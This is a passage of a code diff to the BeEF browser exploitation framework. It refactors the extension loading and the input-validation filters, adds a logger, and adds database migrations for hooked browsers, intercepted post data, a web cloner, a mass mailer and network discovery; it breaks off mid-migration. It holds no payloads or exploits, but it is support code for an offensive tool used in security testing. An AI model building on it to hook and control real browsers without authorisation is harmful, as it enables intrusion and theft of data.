+      return false unless is_present(ext)
+      BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.enable") == true
     end
 
     # Checks to see if extension has been loaded
     # @param [String] ext the extension key
-    # @return [Boolean] whether or not the extension is loaded 
+    # @return [Boolean] whether or not the extension is loaded
     def self.is_loaded(ext)
-      return (self.is_enabled(ext) and BeEF::Core::Configuration.instance.get('beef.extension.'+ext.to_s+'.loaded') == true)
+      return false unless is_enabled(ext)
+      BeEF::Core::Configuration.instance.get("beef.extension.#{ext}.loaded") == true
     end
 
     # Loads an extension 
     # @param [String] ext the extension key
     # @return [Boolean] whether or not the extension loaded successfully
-    # @todo Wrap the require() statement in a try catch block to allow BeEF to fail gracefully if there is a problem with that extension - Issue #480
     def self.load(ext)
-      if File.exists?('extensions/'+ext+'/extension.rb')
-        require 'extensions/'+ext+'/extension.rb'
+      if File.exist? "#{$root_dir}/extensions/#{ext}/extension.rb"
+        require "#{$root_dir}/extensions/#{ext}/extension.rb"
         print_debug "Loaded extension: '#{ext}'"
-        BeEF::Core::Configuration.instance.set('beef.extension.'+ext+'.loaded', true)
+        BeEF::Core::Configuration.instance.set "beef.extension.#{ext}.loaded", true
         return true
       end
       print_error "Unable to load extension '#{ext}'"
-      return false
+      false
+    rescue => e
+      print_error "Unable to load extension '#{ext}':"
+      print_more e.message
     end
   end
 end

core/extensions.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -9,13 +9,13 @@ module BeEF
     # Returns configuration of all enabled extensions
     # @return [Array] an array of extension configuration hashes that are enabled
     def self.get_enabled
-      return BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
+      BeEF::Core::Configuration.instance.get('beef.extension').select { |k,v| v['enable'] == true }
     end
 
     # Returns configuration of all loaded extensions
     # @return [Array] an array of extension configuration hashes that are loaded
     def self.get_loaded
-      return BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
+      BeEF::Core::Configuration.instance.get('beef.extension').select {|k,v| v['loaded'] == true }
     end
 
     # Load all enabled extensions
@@ -23,12 +23,10 @@ module BeEF
     def self.load
       BeEF::Core::Configuration.instance.load_extensions_config
       self.get_enabled.each { |k,v|
-        BeEF::Extension.load(k)
+        BeEF::Extension.load k
       }
       # API post extension load
-      BeEF::API::Registrar.instance.fire(BeEF::API::Extensions, 'post_load')
+      BeEF::API::Registrar.instance.fire BeEF::API::Extensions, 'post_load'
     end
-
   end
 end
-

core/filters.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #

core/filters/base.rb

@@ -1,143 +1,199 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
 module BeEF
 module Filters
-  
+
   # Check if the string is not empty and not nil
-  # @param [String] str String for testing
-  # @return [Boolean] Whether the string is not empty
+  #   @param [String] str String for testing
+  #   @return [Boolean] Whether the string is not empty
   def self.is_non_empty_string?(str)
     return false if str.nil?
-    return false if not str.is_a? String
+    return false unless str.is_a? String
     return false if str.empty?
     true
   end
 
   # Check if only the characters in 'chars' are in 'str'
-  # @param [String] chars List of characters to match
-  # @param [String] str String for testing
-  # @return [Boolean] Whether or not the only characters in str are specified in chars
+  #   @param [String] chars List of characters to match
+  #   @param [String] str String for testing
+  #   @return [Boolean] Whether or not the only characters in str are specified in chars
   def self.only?(chars, str)
     regex = Regexp.new('[^' + chars + ']')
-    regex.match(str).nil?
+    regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
   end
-        
+
   # Check if one or more characters in 'chars' are in 'str'
-  # @param [String] chars List of characters to match
-  # @param [String] str String for testing
-  # @return [Boolean] Whether one of the characters exists in the string
+  #   @param [String] chars List of characters to match
+  #   @param [String] str String for testing
+  #   @return [Boolean] Whether one of the characters exists in the string
   def self.exists?(chars, str)
     regex = Regexp.new(chars)
-    not regex.match(str).nil?
+    not regex.match(str.encode('UTF-8', invalid: :replace, undef: :replace, replace: '')).nil?
   end
-        
+
   # Check for null char
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has a null character
+  #   @param [String] str String for testing
+  #   @return [Boolean] If the string has a null character
   def self.has_null? (str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     exists?('\x00', str)
   end
 
   # Check for non-printable char
-  # @param [String] str String for testing
-  # @return [Boolean] Whether or not the string has non-printable characters
+  #   @param [String] str String for testing
+  #   @return [Boolean] Whether or not the string has non-printable characters
   def self.has_non_printable_char?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     not only?('[:print:]', str)
   end
 
   # Check if num characters only
-  # @param [String] str String for testing
-  # @return [Boolean] If the string only contains numbers
+  #   @param [String] str String for testing
+  #   @return [Boolean] If the string only contains numbers
   def self.nums_only?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     only?('0-9', str)
   end
 
   # Check if valid float
-  # @param [String] str String for float testing
-  # @return [Boolean] If the string is a valid float
+  #   @param [String] str String for float testing
+  #   @return [Boolean] If the string is a valid float
   def self.is_valid_float?(str)
-    return false if not is_non_empty_string?(str)
-    return false if not only?('0-9\.', str)
+    return false unless is_non_empty_string?(str)
+    return false unless only?('0-9\.', str)
     not (str =~ /^[\d]+\.[\d]+$/).nil?
   end
 
   # Check if hex characters only
-  # @param [String] str String for testing
-  # @return [Boolean] If the string only contains hex characters
+  #   @param [String] str String for testing
+  #   @return [Boolean] If the string only contains hex characters
   def self.hexs_only?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     only?('0123456789ABCDEFabcdef', str)
   end
 
   # Check if first character is a number
-  # @param [String] String for testing
-  # @return [Boolean] If the first character of the string is a number
+  #   @param [String] String for testing
+  #   @return [Boolean] If the first character of the string is a number
   def self.first_char_is_num?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     not (str =~ /^\d.*/).nil?
   end
 
   # Check for space characters: \t\n\r\f
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has a whitespace character
+  #   @param [String] str String for testing
+  #   @return [Boolean] If the string has a whitespace character
   def self.has_whitespace_char?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     exists?('\s', str)
   end
 
   # Check for non word characters: a-zA-Z0-9
-  # @param [String] str String for testing
-  # @return [Boolean] If the string only has alphanums
+  #   @param [String] str String for testing
+  #   @return [Boolean] If the string only has alphanums
   def self.alphanums_only?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     only?("a-zA-Z0-9", str)
   end
-        
-  # Check if valid ip address string
-  # @param [String] ip String for testing
-  # @return [Boolean] If the string is a valid IP address
-  # @note only IPv4 compliant
-  def self.is_valid_ip?(ip)
-    return false if not is_non_empty_string?(ip)
-    return true if ip =~ /^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})?$/
+
+  # @overload self.is_valid_ip?(ip, version)
+  # Checks if the given string is a valid IP address
+  #   @param [String] ip string to be tested
+  #   @param [Symbol] version IP version (either <code>:ipv4</code> or <code>:ipv6</code>)
+  #   @return [Boolean] true if the string is a valid IP address, otherwise false
+  #
+  # @overload self.is_valid_ip?(ip)
+  # Checks if the given string is either a valid IPv4 or IPv6 address
+  #   @param [String] ip string to be tested
+  #   @return [Boolean] true if the string is a valid IPv4 or IPV6 address, otherwise false
+  def self.is_valid_ip?(ip, version = :both)
+    return false unless is_non_empty_string?(ip)
+    valid = case version.inspect.downcase
+      when /^:ipv4$/
+        ip =~ /^((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}
+          (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])$/x
+      when /^:ipv6$/
+        ip =~ /^(([0-9a-f]{1,4}:){7,7}[0-9a-f]{1,4}|
+          ([0-9a-f]{1,4}:){1,7}:|
+          ([0-9a-f]{1,4}:){1,6}:[0-9a-f]{1,4}|
+          ([0-9a-f]{1,4}:){1,5}(:[0-9a-f]{1,4}){1,2}|
+          ([0-9a-f]{1,4}:){1,4}(:[0-9a-f]{1,4}){1,3}|
+          ([0-9a-f]{1,4}:){1,3}(:[0-9a-f]{1,4}){1,4}|
+          ([0-9a-f]{1,4}:){1,2}(:[0-9a-f]{1,4}){1,5}|
+          [0-9a-f]{1,4}:((:[0-9a-f]{1,4}){1,6})|
+          :((:[0-9a-f]{1,4}){1,7}|:)|
+          fe80:(:[0-9a-f]{0,4}){0,4}%[0-9a-z]{1,}|
+          ::(ffff(:0{1,4}){0,1}:){0,1}
+          ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
+          (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|
+          ([0-9a-f]{1,4}:){1,4}:
+          ((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]).){3,3}
+          (25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))$/ix
+      when /^:both$/
+        is_valid_ip?(ip, :ipv4) || is_valid_ip?(ip, :ipv6)
+    end ? true : false
+
+    valid
+  end
+
+  # Checks if the given string is a valid private IP address
+  #   @param [String] ip string for testing
+  #   @return [Boolean] true if the string is a valid private IP address, otherwise false
+  # @note Includes RFC1918 private IPv4, private IPv6, and localhost 127.0.0.0/8, but does not include local-link addresses.
+  def self.is_valid_private_ip?(ip)
+    return false unless is_valid_ip?(ip)
+    return ip =~ /\A(^127\.)|(^192\.168\.)|(^10\.)|(^172\.1[6-9]\.)|(^172\.2[0-9]\.)|(^172\.3[0-1]\.)|(^::1$)|(^[fF][cCdD])\z/ ? true : false
+  end
+
+  # Checks if the given string is a valid TCP port
+  #   @param [String] port string for testing
+  #   @return [Boolean] true if the string is a valid TCP port, otherwise false
+  def self.is_valid_port?(port)
+    valid = false
+    valid = true if port.to_i > 0 && port.to_i < 2**16
+    valid
+  end
+
+  # Checks if string is a valid domain name
+  #   @param [String] domain string for testing
+  #   @return [Boolean] If the string is a valid domain name
+  # @note Only validates the string format. It does not check for a valid TLD since ICANN's list of TLD's is not static.
+  def self.is_valid_domain?(domain)
+    return false unless is_non_empty_string?(domain)
+    return true if domain =~ /^[0-9a-z-]+(\.[0-9a-z-]+)*(\.[a-z]{2,}).?$/i
     false
   end
 
   # Check for valid browser details characters
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid browser details characters
+  #   @param [String] str String for testing
+  #   @return [Boolean] If the string has valid browser details characters
   # @note This function passes the \302\256 character which translates to the registered symbol (r)
   def self.has_valid_browser_details_chars?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     not (str =~ /[^\w\d\s()-.,;:_\/!\302\256]/).nil?  
   end  
 
   # Check for valid base details characters
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has only valid base characters
+  #   @param [String] str String for testing
+  #   @return [Boolean] If the string has only valid base characters
   # @note This is for basic filtering where possible all specific filters must be implemented
   # @note This function passes the \302\256 character which translates to the registered symbol (r)
   def self.has_valid_base_chars?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     (str =~ /[^\302\256[:print:]]/).nil? 
   end  
 
   # Verify the yes and no is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string is either 'yes' or 'no'
-  # @todo Confirm this is case insensitive
+  #   @param [String] str String for testing
+  #   @return [Boolean] If the string is either 'yes' or 'no'
   def self.is_valid_yes_no?(str)
     return false if has_non_printable_char?(str)
-    return false if str !~ /^(Yes|No)$/
-    return false if str.length > 200
+    return false if str !~ /\A(Yes|No)\z/i
     true
   end
-  
+
 end
 end

core/filters/browser.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -10,19 +10,8 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid browser name characters
   def self.is_valid_browsername?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     return false if str.length > 2
-    return false if has_non_printable_char?(str)  
-    true
-  end
-
-  # Check the browser type value - for example, {"FF5":true,"FF":true} & {"S":true}
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid browser type characters
-  def self.is_valid_browsertype?(str)
-    return false if not is_non_empty_string?(str)
-    return false if str.length < 10
-    return false if str.length > 250
     return false if has_non_printable_char?(str)
     true
   end
@@ -31,8 +20,8 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid Operating System name characters
   def self.is_valid_osname?(str)
-    return false if not is_non_empty_string?(str)
-    return false if has_non_printable_char?(str) 
+    return false unless is_non_empty_string?(str)
+    return false if has_non_printable_char?(str)
     return false if str.length < 2
     true
   end
@@ -41,7 +30,7 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid Hardware name characters
   def self.is_valid_hwname?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     return false if has_non_printable_char?(str)
     return false if str.length < 2
     true
@@ -51,11 +40,25 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid browser version characters
   def self.is_valid_browserversion?(str)
-    return false if not is_non_empty_string?(str)
-    return false if has_non_printable_char?(str)  
+    return false unless is_non_empty_string?(str)
+    return false if has_non_printable_char?(str)
     return true if str.eql? "UNKNOWN"
+    return true if str.eql? "ALL"
     return false if not nums_only?(str) and not is_valid_float?(str)  
-    return false if str.length > 10      
+    return false if str.length > 20
+    true
+  end
+
+  # Verify the os version string is valid
+  # @param [String] str String for testing
+  # @return [Boolean] If the string has valid os version characters
+  def self.is_valid_osversion?(str)
+    return false unless is_non_empty_string?(str)
+    return false if has_non_printable_char?(str)
+    return true if str.eql? "UNKNOWN"
+    return true if str.eql? "ALL"
+    return false unless BeEF::Filters::only?("a-zA-Z0-9.<=> ", str)
+    return false if str.length > 20
     true
   end
 
@@ -63,8 +66,8 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid browser / ua string characters
   def self.is_valid_browserstring?(str)
-    return false if not is_non_empty_string?(str)
-    return false if has_non_printable_char?(str)    
+    return false unless is_non_empty_string?(str)
+    return false if has_non_printable_char?(str)
     return false if str.length > 300      
     true
   end
@@ -73,33 +76,17 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid cookie characters
   def self.is_valid_cookies?(str)
-    return false if has_non_printable_char?(str)    
+    return false unless is_non_empty_string?(str)
+    return false if has_non_printable_char?(str)
     return false if str.length > 2000
     true
   end
 
-  # Verify the screen size is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid screen size characters
-  def self.is_valid_screen_size?(str)
-    return false if has_non_printable_char?(str)    
-    return false if str.length > 200
-    true
-  end
-
-  # Verify the window size is valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string has valid window size characters
-  def self.is_valid_window_size?(str)
-    return false if has_non_printable_char?(str)    
-    return false if str.length > 200
-    true
-  end
-
   # Verify the system platform is valid
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid system platform characters
   def self.is_valid_system_platform?(str)
+    return false unless is_non_empty_string?(str)
     return false if has_non_printable_char?(str)
     return false if str.length > 200
     true
@@ -109,6 +96,37 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid date stamp characters
   def self.is_valid_date_stamp?(str)
+    return false unless is_non_empty_string?(str)
+    return false if has_non_printable_char?(str)
+    return false if str.length > 200
+    true
+  end
+
+  # Verify the CPU type string is valid
+  # @param [String] str String for testing
+  # @return [Boolean] If the string has valid CPU type characters
+  def self.is_valid_cpu?(str)
+    return false unless is_non_empty_string?(str)
+    return false if has_non_printable_char?(str)
+    return false if str.length > 200
+    true
+  end
+
+  # Verify the memory string is valid
+  # @param [String] str String for testing
+  # @return [Boolean] If the string has valid memory type characters
+  def self.is_valid_memory?(str)
+    return false unless is_non_empty_string?(str)
+    return false if has_non_printable_char?(str)
+    return false if str.length > 200
+    true
+  end
+
+  # Verify the GPU type string is valid
+  # @param [String] str String for testing
+  # @return [Boolean] If the string has valid GPU type characters
+  def self.is_valid_gpu?(str)
+    return false unless is_non_empty_string?(str)
     return false if has_non_printable_char?(str)
     return false if str.length > 200
     true
@@ -120,9 +138,9 @@ module Filters
   # @note This string can be empty if there are no browser plugins
   # @todo Verify if the ruby version statement is still necessary
   def self.is_valid_browser_plugins?(str)
-    return true if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     return false if str.length > 1000
-    if RUBY_VERSION >= "1.9" && str.encoding === Encoding.find('UTF-8')
+    if str.encoding === Encoding.find('UTF-8')
       return (str =~ /[^\w\d\s()-.,';_!\302\256]/u).nil?
     else
       return (str =~ /[^\w\d\s()-.,';_!\302\256]/n).nil?

core/filters/command.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -11,26 +11,17 @@ module Filters
   # @return [Boolean] If the string has valid path characters
   def self.is_valid_path_info?(str)
     return false if str.nil?
-    return false if not str.is_a? String
+    return false unless str.is_a? String
     return false if has_non_printable_char?(str)
     true
   end
 
-  # Check if the command id valid
-  # @param [String] str String for testing
-  # @return [Boolean] If the string is a valid command id
-  def self.is_valid_command_id?(str)
-    return false if not is_non_empty_string?(str)
-    return false if not nums_only?(str)   
-    true
-  end
-
   # Check if the session id valid
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid hook session id characters
   def self.is_valid_hook_session_id?(str)
-    return false if not is_non_empty_string?(str)
-    return false if not has_valid_key_chars?(str) 
+    return false unless is_non_empty_string?(str)
+    return false unless has_valid_key_chars?(str) 
     true
   end
 
@@ -38,8 +29,8 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid command module datastore key characters
   def self.is_valid_command_module_datastore_key?(str)
-    return false if not is_non_empty_string?(str)
-    return false if not has_valid_key_chars?(str)      
+    return false unless is_non_empty_string?(str)
+    return false unless has_valid_key_chars?(str)      
     true
   end
 
@@ -48,7 +39,7 @@ module Filters
   # @return [Boolean] If the string has valid command module datastore param characters
   def self.is_valid_command_module_datastore_param?(str)
     return false if has_null?(str)
-    return false if not has_valid_base_chars?(str)
+    return false unless has_valid_base_chars?(str)
     true
   end
 
@@ -56,8 +47,8 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string has valid key characters
   def self.has_valid_key_chars?(str)
-    return false if not is_non_empty_string?(str)
-    return false if not has_valid_base_chars?(str)
+    return false unless is_non_empty_string?(str)
+    return false unless has_valid_base_chars?(str)
     true
   end
 
@@ -66,9 +57,9 @@ module Filters
   # @return [Boolean] If the sting has valid param characters
   def self.has_valid_param_chars?(str)
     return false if str.nil?
-    return false if not str.is_a? String
+    return false unless str.is_a? String
     return false if str.empty?
-    return false if not (str =~ /[^\w_\:]/).nil?
+    return false unless (str =~ /[^\w_\:]/).nil?
     true
   end
 

core/filters/http.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -10,12 +10,10 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string is a valid hostname
   def self.is_valid_hostname?(str)
-    return false if not is_non_empty_string?(str)
+    return false unless is_non_empty_string?(str)
     return false if has_non_printable_char?(str)
     return false if str.length > 255
     return false if (str =~ /^[a-zA-Z0-9][a-zA-Z0-9\-\.]*[a-zA-Z0-9]$/).nil?
-    return false if not (str =~ /\.\./).nil?
-    return false if not (str =~ /\-\-/).nil?      
     true
   end
 

core/filters/page.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -10,9 +10,9 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string is a valid page title
   def self.is_valid_pagetitle?(str)
-    return false if not str.is_a? String
+    return false unless str.is_a? String
     return false if has_non_printable_char?(str)
-    return false if str.length > 50      
+    return false if str.length > 500 # CxF Increased this because some page titles are MUCH longer
     true
   end
 
@@ -20,7 +20,7 @@ module Filters
   # @param [String] str String for testing
   # @return [Boolean] If the string is a valid referrer
   def self.is_valid_pagereferrer?(str)
-    return false if not str.is_a? String
+    return false unless str.is_a? String
     return false if has_non_printable_char?(str)
     return false if str.length > 350
     true

core/hbmanager.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -10,14 +10,14 @@ module BeEF
     # @param [String] sid hooked browser session id string
     # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
     def self.get_by_session(sid)
-      BeEF::Core::Models::HookedBrowser.first(:session => sid)
+      BeEF::Core::Models::HookedBrowser.where(:session => sid).first
     end
 
     # Get hooked browser by id
     # @param [Integer] id hooked browser database id
     # @return [BeEF::Core::Models::HookedBrowser] returns the associated Hooked Browser
     def self.get_by_id(id)
-      BeEF::Core::Models::HookedBrowser.first(:id => id)
+      BeEF::Core::Models::HookedBrowser.find(id)
     end
 
   end

core/loader.rb

@@ -1,5 +1,5 @@
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
@@ -7,7 +7,14 @@
 # @note Include here all the gems we are using
 require 'rubygems'
 require 'bundler/setup'
+
+# For some reason, on Ruby 2.5+, msgpack needs to be loaded first,
+# else metasploit integration dies due to undefined `to_msgpack`.
+# Works fine on Ruby 2.4
+require 'msgpack'
+
 Bundler.require(:default)
+
 require 'cgi'
 require 'yaml'
 require 'singleton'
@@ -15,6 +22,26 @@ require 'ipaddr'
 require 'base64'
 require 'xmlrpc/client'
 require 'openssl'
+require 'eventmachine'
+require 'thin'
+require 'rack'
+require 'em-websocket'
+require 'uglifier'
+require 'execjs'
+require 'ansi'
+require 'term/ansicolor'
+require 'json'
+require 'otr-activerecord'
+require 'parseconfig'
+require 'erubis'
+require 'mime/types'
+require 'optparse'
+require 'resolv'
+require 'digest'
+require 'zip'
+require 'logger'
+# @note Logger
+require 'core/logger'
 
 # @note Include the filters
 require 'core/filters'
@@ -29,4 +56,4 @@ require 'core/api'
 require 'core/settings'
 
 # @note Include the core of BeEF
-require 'core/core'
+require 'core/core'

core/logger.rb

@@ -0,0 +1,21 @@
+#
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
+#
+
+#
+# @note log to file
+#
+module BeEF
+  class << self
+    attr_writer :logger
+
+    def logger
+        @logger ||= Logger.new("#{$home_dir}/beef.log").tap do |log|
+        log.progname = self.name
+        log.level = Logger::WARN
+      end
+    end
+  end
+end

core/main/ar-migrations/001_create_command_modules.rb

@@ -0,0 +1,12 @@
+class CreateCommandModules < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :command_modules do |t|
+			t.text :name
+			t.text :path
+		end
+
+	end
+
+end

core/main/ar-migrations/002_create_hooked_browsers.rb

@@ -0,0 +1,19 @@
+class CreateHookedBrowsers < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :hooked_browsers do |t|
+            t.text :session
+			t.text :ip
+			t.text :firstseen
+			t.text :lastseen
+			t.text :httpheaders
+			t.text :domain
+			t.integer :port
+			t.integer :count
+			t.boolean :is_proxy
+		end
+
+	end
+
+end

core/main/ar-migrations/003_create_logs.rb

@@ -0,0 +1,14 @@
+class CreateLogs < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :logs do |t|
+			t.text :logtype
+			t.text :event
+			t.datetime :date
+			t.references :hooked_browser
+		end
+
+	end
+
+end

core/main/ar-migrations/004_create_commands.rb

@@ -0,0 +1,16 @@
+class CreateCommands < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :commands do |t|
+            t.references :command_module
+            t.references :hooked_browser
+			t.text :data
+			t.datetime :creationdate
+			t.text :label
+			t.boolean :instructions_sent, default: false
+		end
+
+	end
+
+end

core/main/ar-migrations/005_create_results.rb

@@ -0,0 +1,15 @@
+class CreateResults < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :results do |t|
+            t.references :command
+            t.references :hooked_browser
+			t.datetime :date
+			t.integer :status
+            t.text :data
+		end
+
+	end
+
+end

core/main/ar-migrations/006_create_option_caches.rb

@@ -0,0 +1,12 @@
+class CreateOptionCaches < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :option_caches do |t|
+			t.text :name
+			t.text :value
+		end
+
+	end
+
+end

core/main/ar-migrations/007_create_browser_details.rb

@@ -0,0 +1,13 @@
+class CreateBrowserDetails < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :browser_details do |t|
+			t.text :session_id
+			t.text :detail_key
+			t.text :detail_value
+		end
+
+	end
+
+end

core/main/ar-migrations/008_create_executions.rb

@@ -0,0 +1,17 @@
+class CreateExecutions < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :executions do |t|
+            t.text :session_id
+			t.integer :mod_count
+			t.integer :mod_successful
+			t.text :mod_body
+			t.text :exec_time
+			t.text :rule_token
+			t.boolean :is_sent
+		end
+
+	end
+
+end

core/main/ar-migrations/009_create_rules.rb

@@ -0,0 +1,20 @@
+class CreateRules < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :rules do |t|
+			t.text :name
+			t.text :author
+			t.text :browser
+			t.text :browser_version
+			t.text :os
+			t.text :os_version
+			t.text :modules
+			t.text :execution_order
+			t.text :execution_delay
+			t.text :chain_mode
+		end
+
+	end
+
+end

core/main/ar-migrations/010_create_interceptor.rb

@@ -0,0 +1,12 @@
+class CreateInterceptor < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :interceptors do |t|
+            t.text :ip
+            t.text :post_data
+		end
+
+	end
+
+end

core/main/ar-migrations/011_create_web_cloner.rb

@@ -0,0 +1,12 @@
+class CreateWebCloner < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :web_cloner do |t|
+            t.text :uri
+            t.text :mount
+		end
+
+	end
+
+end

core/main/ar-migrations/012_create_mass_mailer.rb

@@ -0,0 +1,11 @@
+class CreateMassMailer < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :mass_mailer do |t|
+            #todo fields
+		end
+
+	end
+
+end

core/main/ar-migrations/013_create_network_host.rb

@@ -0,0 +1,17 @@
+class CreateNetworkHost < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :network_hosts do |t|
+            t.references :hooked_browser
+            t.text :ip
+            t.text :hostname
+            t.text :ntype
+            t.text :os
+            t.text :mac
+            t.text :lastseen
+		end
+
+	end
+
+end

core/main/ar-migrations/014_create_network_service.rb

@@ -0,0 +1,15 @@
+class CreateNetworkService < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :network_services do |t|
+            t.references :hooked_browser
+            t.text :proto
+            t.text :ip
+            t.text :port
+            t.text :ntype
+		end
+
+	end
+
+end

core/main/ar-migrations/015_create_http.rb

@@ -0,0 +1,44 @@
+class CreateHttp < ActiveRecord::Migration[6.0]
+
+	def change
+
+		create_table :http do |t|
+            t.references :hooked_browser
+            # The http request to perform. In clear text.
+            t.text :request
+            # Boolean value as string to say whether cross-domain requests are allowed
+            t.boolean :allow_cross_domain, :default => true
+            # The http response body received. In clear text.
+            t.text :response_data
+            # The http response code. Useful to handle cases like 404, 500, 302, ...
+            t.integer :response_status_code
+            # The http response code. Human-readable code: success, error, ecc..
+            t.text :response_status_text
+            # The port status. closed, open or not http
+            t.text :response_port_status
+            # The XHR Http response raw headers
+            t.text :response_headers
+            # The http response method. GET or POST.
+            t.text :method
+            # The content length for the request.
+            t.text :content_length, :default => 0
+            # The request protocol/scheme (http/https)
+            t.text :proto
+            # The domain on which perform the request.
+            t.text :domain
+            # The port on which perform the request.
+            t.text :port
+            # Boolean value to say if the request was cross-domain
+            t.text :has_ran, :default => "waiting"
+            # The path of the request.
+            # Example: /secret.html
+            t.text :path
+            # The date at which the http response has been saved.
+            t.datetime :response_date
+            # The date at which the http request has been saved.
+            t.datetime :request_date
+		end
+
+	end
+
+end

core/main/ar-migrations/016_create_rtc_status.rb

@@ -0,0 +1,13 @@
+class CreateRtcStatus < ActiveRecord::Migration[6.0]
+
+	def change
+
